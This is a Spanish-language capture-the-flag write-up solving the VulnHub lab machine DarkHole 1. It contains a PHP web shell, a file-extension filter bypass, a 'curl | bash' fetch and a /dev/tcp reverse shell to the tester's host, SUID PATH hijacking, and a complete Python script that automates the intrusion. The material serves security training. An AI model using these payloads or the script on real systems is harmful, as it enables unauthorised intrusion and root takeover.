Inicio DarkHole 1 VulnHub Write-up
Entrada
Cancelar

DarkHole 1 VulnHub Write-up

Resumen

Saludos, en esta oportunidad vamos a resolver la máquina de VulnHub llamada DarkHole 1, la cual tiene una dificultad easy. Para lograr vulnerarla realizaremos lo siguiente:

  • Enumeración del sistema.
  • Abuso de mala implementación de sesiones.
  • Subida de archivo malicioso php a la web (extension filter bypass).
  • Abuso de binario SUID (path hijacking).
  • Abuso de archivo SUID.
  • Automatización de la intrusión con python.

Reconocimiento y Enumeración

En primer lugar, se comprueba la correcta conexión con la máquina utilizando ping:

1
2
3
4
ping -c 1 192.168.233.129

PING 192.168.233.129 (192.168.233.129) 56(84) bytes of data.
64 bytes from 192.168.233.129: icmp_seq=1 ttl=64 time=5.95 ms

Se observa que existe una correcta conexión con la máquina.

Para realizar un reconocimiento activo se utilizará la herramienta nmap, en búsqueda de puertos abiertos en todo el rango (65535) y aplicando el parámetro -sS el cual permite aumentar el rendimiento del escaneo, haciendo que las conexiones no se realicen totalmente (haciendo solo syn syn-ack):

1
sudo nmap -p- -sS -open 192.168.233.129 -oG Port

Al finalizar el escaneo, se pueden observar los puertos abiertos de la máquina víctima:

1
2
3
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Realizamos un escaneo de los servicios expuestos utilizando nmap:

1
sudo nmap -sCV -p22,80 192.168.233.129

Como resultado del escaneo tenemos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e450d9505d913050e9b57dcab051db74 (RSA)
|   256 730c76866063060021c236203b99c1f7 (ECDSA)
|_  256 54534c3f4f3a26f602aa9a24ea1b928c (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: DarkHole
MAC Address: 00:0C:29:16:4F:CB (VMware)

Observamos un servicio http, vamos a utilizar whatweb para enumerar información:

1
2
whatweb 192.168.233.129
http://192.168.233.129 [200 OK] Apache[2.4.41], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[192.168.233.129], Title[DarkHole]

Vamos a ver la web:

Observamos la página, el botón no hace nada, sin embargo, la sección de login si:

Vemos una sección de registro vamos a intentar registrarnos:

Iniciamos sesión:

Luego, de iniciar sesión vemos lo siguiente:

Tenemos algunas partes para cambiar información, pero si miramos la url:

1
http://192.168.233.129/dashboard.php?id=2

Vemos que se está empleando un id, esto debe ser para identificar los usuarios, como somos el dos es lógico pensar que el uno existe, vamos a intentar ingresar:

Sin embargo, no podemos.

Explotación

Vamos a probar las opciones de cambio de contraseña, vamos a interceptar la petición con burpsuite:

Vemos que la petición por post se envía a través con un id, que representa al usuario, así que vamos a cambiar este id para el usuario 1:

Si esto funcionó, debimos cambiarle la contraseña al id 1, podríamos pensar que este identificador corresponde al de administrador, pues es el primer usuario en crearse, vamos a intentar iniciar sesión con admin:

Al intentarlo:

Vemos que hemos iniciado sesión correctamente, y existe un panel donde podemos un archivo.

Si el sistema para subir archivos no se encuentra hecho correctamente podríamos ser capaces de subir un archivo php malicioso, que nos permita ejectuar comandos en la máquina, vamos a intentar subir un txt con la palabra hola:

Al enviarlo:

Vemos que se ha enviado correctamente, sin embargo, no tenemos una forma de saber donde se están almacenando los archivos, para ellos a fuzzear directorios para ver si existe algún directorio que nos sirva:

1
wfuzz -c --hc=404 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 200 http://192.168.233.129/FUZZ

Y encontramos algo:

1
000000366:   301        9 L      28 W       319 Ch      "upload"

Existe un directorio upload, vamos a verlo:

Aquí se guardan las cosas que subimos, podemos observar que está nuestro archivo de prueba:

Vamos a intentar subir un archivo php malicioso que nos permita controlar mediante una variable cmd los comandos que queremos ejectuar en el sistema:

1
2
<?php
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"; ?>

Vamos a poner esto en nuestro archivo de subirlo:

Al subirlo:

Nos dice que no permite la subida de esos archivos.

Podemos pensar algunas maneras de realizar un bypass, en caso de que este sea la verificación de la extensión, por ejemplo, en la web de HackTricks podemos ver que existen diferentes extensiones que podemos utilizar para pasar por el filtro, vamos a probarlas todas, sin embargo, como son bastantes lo haremos mediante python para hacerlo menos tedioso.

En primer lugar, vamos a definir nuestras variables:

1
2
3
4
url = "http://192.168.233.129/dashboard.php?id=1"
urlLogin= "http://192.168.233.129/login.php"
extensions= [".php", ".php2", ".php3", ".php4", ".php5", ".php6", ".php7", ".phps", ".phps", ".pht", ".phtm", ".phtml", ".pgif", ".shtml", ".htaccess", ".phar", ".inc", ".hphp", ".ctp", ".module"]
s = requests.Session()

Luego, tenemos nuestra función para iniciar sesión:

1
2
3
4
5
6
7
8
def login():

    post_data = { 
        "username": "admin",
        "password": "test"
     }

    r = s.post(urlLogin,data=post_data)

Finalemnte, tenemos nuestra función que subirá nuestro payload con las diferentes extesiones que definimos anteriormente:

1
2
3
4
5
6
7
8
9
10
11
def upload():

    for ext in extensions:

        payload = """  <?php echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"; ?> """ 

        files  = {'fileToUpload':(f'shell{ext}',payload)

            }

        r = s.post(url,files=files)

Al ejecutar este código, nos vamos a ver las uploads:

Observamos que se han subido los archivos con todas las extensiones, vamos a revisarlos uno por uno.

Después de revisarlos y ver que todos no están siendo interpretados, llegamos al .phtml:

Puede ser que el código se esté interpretando, vamos a intentar ejectuar whoami:

Vemos que tenemos ejecución remota de comandos, vamos a crear entonces una conexión hacia nuestra máquina para ganar acceso al sistema.

Vamos a compartir un archivo index.html malicioso, que haciendo uso del /dev/tcp nos envíe una conexión hacia nuestra máquina, estaremos compartiendo este archivo haciendo uso de un servidor http con python, mientras estaremos conexión con netcat. Dentro del parámetro cmd haremos una petición a nuestro recurso y lo vamos a pipear con bash para así ejecutar su contenido.

El archivo html malicioso es este:

1
2
#!/bin/bash
bash -i >& /dev/tcp/192.168.233.128/1234 0>&1

Vamos a dejar abiertos el servidor en python y el netcat.

Vamos a ingresar la petición a la página:

1
192.168.233.129/upload/shell.phtml?cmd=curl%20192.168.233.128%20|%20bash

Si vemos nuestro servidor en python:

1
2
3
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.233.129 - - [20/Feb/2023 15:21:53] "GET / HTTP/1.1" 200 -

Vemos la petición get, y si vemos netcat:

1
2
3
4
5
6
7
8
nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.233.128] from (UNKNOWN) [192.168.233.129] 60212
bash: cannot set terminal process group (88930): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ whoami
whoami
www-data

Hemos ganado acceso al sistema, sin embargo, no tenemos privilegio alguno, vamos a tener que escalar.

Escalada de privilegios

Antes de todo necesitamos una tty decente, asi que vamos a hacer lo siguiente:

  • script /dev/null -c bash
  • control + z
  • stty ray -echo; fg
  • reset xterm
  • export TERM=xterm
  • export SHELL=bash
  • stty rows X columns Y (dependiendo de tu stty size)

Bien, con la consola lista vamos a escalar privilegios.

En primer lugar, revisamos todos los archivos de la web por si encontramos algo, pero no vamos a encontrar nada.

Vamos a dirigirnos a los directorios de los usuarios por si encontramos información:

1
2
3
4
5
6
bash-5.0$ cd /home
bash-5.0$ ls
darkhole  john
bash-5.0$ cd john/
bash-5.0$ ls
file.py  password  toto  user.txt

Vemos diferentes archivos dentro del directorio de john, vamos a ver los permisos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
bash-5.0$ ls -la
total 72
drwxrwxrwx 5 john john      4096 Feb 20 17:02 .
drwxr-xr-x 4 root root      4096 Jul 16  2021 ..
-rw------- 1 john john      2139 Feb 20 17:00 .bash_history
-rw-r--r-- 1 john john       220 Jul 16  2021 .bash_logout
-rw-r--r-- 1 john john      3771 Jul 16  2021 .bashrc
drwx------ 2 john john      4096 Jul 17  2021 .cache
drwxrwxr-x 3 john john      4096 Jul 17  2021 .local
-rw------- 1 john john        37 Jul 17  2021 .mysql_history
-rw-r--r-- 1 john john       807 Jul 16  2021 .profile
drwxrwx--- 2 john www-data  4096 Jul 17  2021 .ssh
-rwxrwx--- 1 john john        43 Feb 20 17:02 file.py
-rwxrwx--- 1 john john         8 Jul 17  2021 password
-rwsr-xr-x 1 root root     16784 Jul 17  2021 toto
-rw-rw---- 1 john john        24 Jul 17  2021 user.txt

Vemos un archivo password que no podemos ver, existe un archivo toto que podemos ejecutar:

1
2
bash-5.0$ file toto
toto: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5f55e5cb083b2207ed23fc83f2dbf1cba931c868, for GNU/Linux 3.2.0, not stripped

Vemos que es un binario SUID, vamos a ver que hace:

1
2
./toto
uid=1001(john) gid=33(www-data) groups=33(www-data)

Si abrimos el binario, por supuesto es ilegible, pero si utilizamos strings podemos ver palabras:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
bash-5.0$ strings toto
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
system
__cxa_finalize
setgid
__libc_start_main
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
[]A\A]A^A_
:*3$"
GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0

Vemos un par de cosas interesantes, pero nada crítico.

Vemos que este binario se comporta como el id, vamos a hacer una prueba, pues puede ser que este binario este utilizando este comando de forma relativa y no absoluta, en este caso podríamos realizar un cambio de path, en donde vamos a hacer que este archivo se ejecute y busque el comando id y use el que nosotros queremos, como el usuario que lo ejecuta es root, como es SUID, deberíamos ganar acceso como el. Lo haremos de la siguiente forma.

Vamos a ir al directorio tmp y crearemos un archivo, el cual se ejecutaría como si fuera un archivo en bash:

1
2
3
4
bash-5.0$ cd /tmp
bash-5.0$ echo "bash -p" > id
bash-5.0$ cat id
bash -p

Vemos que hemos creado un archivo id, el cual en caso de ejecutarse nos daría una bash con privilegios.

Vamos a darle permisos de ejecución.

1
bash-5.0$ chmod +x id

Bien, ahora tenemos esto listo, sin embargo, como haces que ejecute este archivo? para eso haremos una modifición a la variable de entorno PATH, en donde se empiezan a buscar todos los binarios, para ello vamos a introducir la dirección tmp como primera opción, por lo tanto, en caso de que se esté aplicando una ruta relativa, vaya al path y ejecute nuestro binario, pues es el primero que va a encontrar.

1
2
3
bash-5.0$ export PATH=/tmp:$PATH 
bash-5.0$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

Bien, con todo esto listo vamos a probarlo:

1
2
3
bash-5.0$ ./toto
bash-5.0$ whoami
john

Vemos que ahora somos john, sin embargo, deberiamos ser root. Esto paso debido a que si vemos bien los strings del archivo toto se le hace un setuid y setgid:

1
2
3
4
setuid
system
__cxa_finalize
setgid

En esta parte debe estar dandole la propiedad a john. Sin embargo, nos sirve pues ahora tenemos más privilegios.

Vamos a revisar el archivo password que no podíamos antes:

1
2
bash-5.0$ cat password
root123

Vemos la contraseña, debe ser de nuestro usuario. Vamos a ver nuestro privilegios:

1
2
3
4
5
6
7
8
bash-5.0$ sudo -l
[sudo] password for john: 
Matching Defaults entries for john on darkhole:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on darkhole:
    (root) /usr/bin/python3 /home/john/file.py

Vemos que podemos ejectuar como root el archivo file.py, vamos a verlo.

1
2
3
4
5
6
7
8
9
bash-5.0$ ls -la
total 72
drwxrwxrwx 5 john john      4096 Feb 20 17:02 .
drwxr-xr-x 4 root root      4096 Jul 16  2021 ..
-rw------- 1 john john      2485 Feb 20 20:34 .bash_history
-rw-r--r-- 1 john john       220 Jul 16  2021 .bash_logout
-rw-r--r-- 1 john john      3771 Jul 16  2021 .bashrc
drwx------ 2 john john      4096 Jul 17  2021 .cache
-rwxrwx--- 1 john john        43 Feb 20 17:02 file.py

Vemos que el archivo file.py nos pertenece a nosotros, por lo tanto, ganar acceso como root será muy sencillo.

Para ello vamos a brir el archivo y utilizando la libraria os vamos a ejecutar un comando en el sistema, lo que podemos hacer es asignarle el privilegio SUID a la bash de root, para que podamos convertinos en él, como el archivo lo está ejecutando root haremos lo siguiente:

1
2
3
import os

os.system("chmod +s /bin/bash")

Y lo guardamos.

Vamos a ejecutarlo:

1
bash-5.0$ sudo /usr/bin/python3 /home/john/file.py

Si vemos los permisos de /bin/bash:

1
2
bash-5.0$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18  2022 /bin/bash

Vemos que ahora es SUID, vamos a ejecutarlo:

1
2
3
bash-5.0$ bash -p
bash-5.0# whoami
root
1
2
bash-5.0# cat root.txt
DarkHole{You_Are_Legend}

¡Listo!, nos convertimos en root, hemos terminado la máquina.

Sin embargo, como un extra como a realizar la automatización de la intrusión en python.

En primer lugar, vamos a definir las variables que utilizaremos:

1
2
3
4
5
6
7
8
9
10
11
12
ipHost= sys.argv[1]
ipVic= sys.argv[2]

urlIndex = f'http://{ipVic}/dashboard.php?id=2' # Modificar id si ya has creado usuarios.
urlAdmin = f'http://{ipVic}/dashboard.php?id=1'
urlRegister= f'http://{ipVic}/register.php'
urlLogin= f'http://{ipVic}/login.php'

usr= "testo"
passw= "testo"

s = requests.Session()

Tenemos la función que se encarga de registrar un usuario:

1
2
3
4
5
6
7
8
9
10
def register():

    post_data = { 
        "username": f'{usr}',
        "email": f'{usr}%20{usr}',
        "password": f'{passw}'
     }

    r = s.post(urlRegister,data=post_data)
    print("[+] Usuario creado")

La siguiente de iniciar sesión:

1
2
3
4
5
6
7
8
def login():

    post_data = { 
       "username": f'{usr}',
       "password": f'{passw}'
     }

    r = s.post(urlLogin,data=post_data)

La que sigue se encarga de cambiarle la contraseña al usuario admin:

1
2
3
4
5
6
7
8
9
10
def changePass():

    post_data= {

        "password": "password",
        "id": "1"

    }
    r = s.post(urlIndex,data=post_data)
    print("[+] Contraseña de admin cambiada con éxito")

Luego, tenemos el inicio de sesión como admin:

1
2
3
4
5
6
7
8
def loginadmin():

     post_data = { 
       "username": "admin",
       "password": "password"
     }

     r = s.post(urlLogin,data=post_data)

La siguiente función se encarga de subir el archivo malicioso a la máquina víctima:

1
2
3
4
5
6
7
8
9
def upload():

        payload = """  <?php echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"; ?> """ 

        files  = {'fileToUpload':('shell.phtml',payload)

            }
        print("[+] Subiendo archivo malicoso")
        r = s.post(urlAdmin,files=files)

Finalmente, tenemos la función que crea el index.html y el servidor http:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def html_payload():

    with open("index.html","w") as file:
        Shebang = "#!/bin/bash\n"
        payload =f'bash -i >& /dev/tcp/{ipHost}/1234 0>&1'
        file.write(Shebang)
        file.write(payload)

def http_server():

    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as so:
            so.bind(('localhost', 80))
            http_server = subprocess.Popen(["python3", "-m", "http.server", "80"])
    except OSError:
            print("\n[-] El puerto 80 se encuentra en uso, no se ha podido ejectuar el servidor")

Si lo ejecutamos:

1
2
3
4
5
6
7
8
9
10
11
12
13
python subida.py 192.168.233.128 192.168.233.129
[!] Asegurarse de no haber creado ningún usuario, en caso contrario modificar el id en urlIndex
[+] Usuario creado
[+] Contraseña de admin cambiada con éxito
[+] Subiendo archivo malicoso
[+] Trying to bind to :: on port 1234: Done
[+] Waiting for connections on :::1234: Got connection from ::ffff:192.168.233.129 on port 60244
[*] Switching to interactive mode
bash: cannot set terminal process group (88930): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ $ whoami
whoami
www-data

El código completo es este:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
import requests,subprocess,socket
from pwn import *

def def_handler(sig, frame):
    print("\n\n[!] saliendo...\n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

if len(sys.argv) < 3:
    print(f'[!] Uso: python3 {sys.argv[0]} "Tu IP"  "Ip de la víctima"\n' )
    sys.exit(1)

print("[!] Asegurarse de no haber creado ningún usuario, en caso contrario modificar el id en urlIndex")
sleep(1)
ipHost= sys.argv[1]
ipVic= sys.argv[2]

urlIndex = f'http://{ipVic}/dashboard.php?id=2' # Modificar id si ya has creado usuarios.
urlAdmin = f'http://{ipVic}/dashboard.php?id=1'
urlRegister= f'http://{ipVic}/register.php'
urlLogin= f'http://{ipVic}/login.php'

usr= "testo"
passw= "testo"

s = requests.Session()

def register():

    post_data = { 
        "username": f'{usr}',
        "email": f'{usr}%20{usr}',
        "password": f'{passw}'
     }

    r = s.post(urlRegister,data=post_data)
    print("[+] Usuario creado")

def login():

    post_data = { 
       "username": f'{usr}',
       "password": f'{passw}'
     }

    r = s.post(urlLogin,data=post_data)

def changePass():

    post_data= {

        "password": "password",
        "id": "1"

    }
    r = s.post(urlIndex,data=post_data)
    print("[+] Contraseña de admin cambiada con éxito")

def loginadmin():

     post_data = { 
       "username": "admin",
       "password": "password"
     }

     r = s.post(urlLogin,data=post_data)


def upload():

        payload = """  <?php echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"; ?> """ 

        files  = {'fileToUpload':('shell.phtml',payload)

            }
        print("[+] Subiendo archivo malicoso")
        r = s.post(urlAdmin,files=files)

def html_payload():

    with open("index.html","w") as file:
        Shebang = "#!/bin/bash\n"
        payload =f'bash -i >& /dev/tcp/{ipHost}/1234 0>&1'
        file.write(Shebang)
        file.write(payload)

def http_server():

    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as so:
            so.bind(('localhost', 80))
            http_server = subprocess.Popen(["python3", "-m", "http.server", "80"])
    except OSError:
            print("\n[-] El puerto 80 se encuentra en uso, no se ha podido ejectuar el servidor")

def conection():

    ip = f'http://{ipVic}/upload/shell.phtml?cmd=curl%20{ipHost}%20|%20bash'
    r = s.get(ip)

if __name__ == '__main__':
    html_payload()
    http_server()
    sleep(1)
    register()
    login()
    changePass()
    loginadmin()
    upload()
    threading.Thread(target=conection, args=()).start()
    shell = listen(1234,timeout=20).wait_for_connection()
    shell.interactive()

¡Listo! Hemos terminado la automatización de la intrusión.

Nos vemos, hasta la próxima.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.